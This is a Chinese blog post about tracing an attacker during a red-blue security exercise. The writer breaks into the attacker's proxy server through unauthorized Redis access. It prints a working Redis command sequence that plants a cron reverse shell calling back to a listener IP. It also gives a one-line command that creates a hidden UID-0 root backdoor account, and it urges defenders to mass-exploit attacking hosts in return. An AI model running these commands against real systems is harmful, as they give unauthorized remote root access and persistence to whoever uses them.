红蓝演习对抗之溯源篇
分享工作之外有用的事情。一、流量监测流量中发现有IP持续在对公司资产进行攻击。初步判断是有人使用扫描器在对公司资产进行攻击。二、溯源信息为了能找到更多攻击者的信息,首选是拿下攻击者的服务器。我听取了大神的建议,使用goby进行初步的扫描,不用不知道,一用吓一跳。这里吹一波goby,基于go内核,速度和效率有保证,UI优雅,采用 Electron+VUE 前端框架,跨平台,从扫描到打漏洞库,乃至生成
分享工作之外有用的事情。
一、流量监测
流量中发现有IP持续在对公司资产进行攻击。
初步判断是有人使用扫描器在对公司资产进行攻击。
二、溯源信息
为了能找到更多攻击者的信息,首选是拿下攻击者的服务器。
我听取了大神的建议,使用goby进行初步的扫描,不用不知道,一用吓一跳。
这里吹一波goby,基于go内核,速度和效率有保证,UI优雅,采用 Electron+VUE 前端框架,跨平台,从扫描到打漏洞库,乃至生成报告,一条龙服务了。哈哈哈,废话少说,看结果。
不到5s,结果出来了,很明显,这里存在redis未授权访问,那就有突破口了。
三、拿下shell、root
redis未授权 getshell部分我遇到了一些小坎坷。
普通情况下是写入自己的ssh公钥,上传至redis服务器,添加至服务器的ssh公钥,就可以ssh直接登录。
但是当我开开心心一步步来做,最后一步发现redis save不了,百度了一波,发现是权限不够。
好吧,就知道没那么顺利。
那怎么办呢,我想到两个办法:
一、既然无法写数据到服务器ssh目录,那么我可以写入redis表中,反弹shell。
二、找到web目录,尝试看能不能把shell写入到web目录中。
当我访问该IP对应的网站时,我直接放弃第二个方法。别问为什么,问就是找不到,绝对不是我懒。
那就试试第二个方法。
redis-cli -h ip
>> set x "\n* * * * * bash -i >& /dev/tcp/接收shell的IP/8001 0>&1\n"
>> config set dir /var/spool/cron/
>> config set dbfilename root
>> save
一波操作下来,成功了。
shell成功反弹,但是这个时候是半交互式shell,操作起来实在是不方便。最好是我们自己创建一个管理员用户,如果用半交互式vim操作,甭提有多痛苦,这里分享一句话创建拥有root管理员的命令。
useradd -p `openssl passwd -1 -salt 'lsof' admin123` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof admin
admin123是密码,最后的admin是用户名。
如果useradd提示"bash: useradd: command not found"
直接
su -
然后再执行以上命令。
三、查找攻击者
我用自己创建的ssh账号登陆服务器后,查找.history和last等信息,不出意外,登陆信息和历史命令都被攻击者有意抹去了。
对比攻击时间和登录时间,可以看出来,发起攻击的时间段,登录信息都找不到与其对应。这更加肯定了这是台代理攻击机无疑。
好了,现在权限拿下了,但是任何线索没有,有些小郁闷。
后来我处于好奇,看看服务器redis有哪些数据,发现除了几个挖矿脚本之外,这个域名让我眼前一亮。
team red,很明显是红队。
后来经过goby扫描,发现这台服务器除了邮箱服务器,就是ftp服务。对应的钓鱼邮件、远程攻击payload下载,红队常用的套路,更加确定该台服务器是红队支持服务器性质。
看吧,还是疏漏了这一点,系统痕迹都抹去了,唯独漏掉了这点。
写在最后的总结:
- 在实际护网和平时的攻防演练中,代理攻击机可能成千上万计数。蓝军面对海量的IP,需要做好一个系统,对所有IP批量进行信息收集,比如该IP开放了哪些端口,有没有用web服务,然后自动抓取web的title,并将所有这些信息进行统计整理成一张表格。最后定制策略和POC,批量的打回去,拿下大量的代理机之后,为进一步溯源提供信息。
- 红队不易,面对waf、蜜罐、流量筛选,最后在最短时间内做好权限维持,都是重重挑战,但是我的最终目标是成为一名优秀的黑客,有挑战才有乐趣。
- 针对第一点,蓝军对海量攻击的自动化信息收集,完全可以由工具实现,也包括POC的定制和选择。这就是我接下来的目标,一步步开发出实用性强、瞄准痛点的工具。
接下来演习结束,就要正式护网。
立一个flag,护网前,完成该工具的信息收集部分功能。
更多推荐
所有评论(0)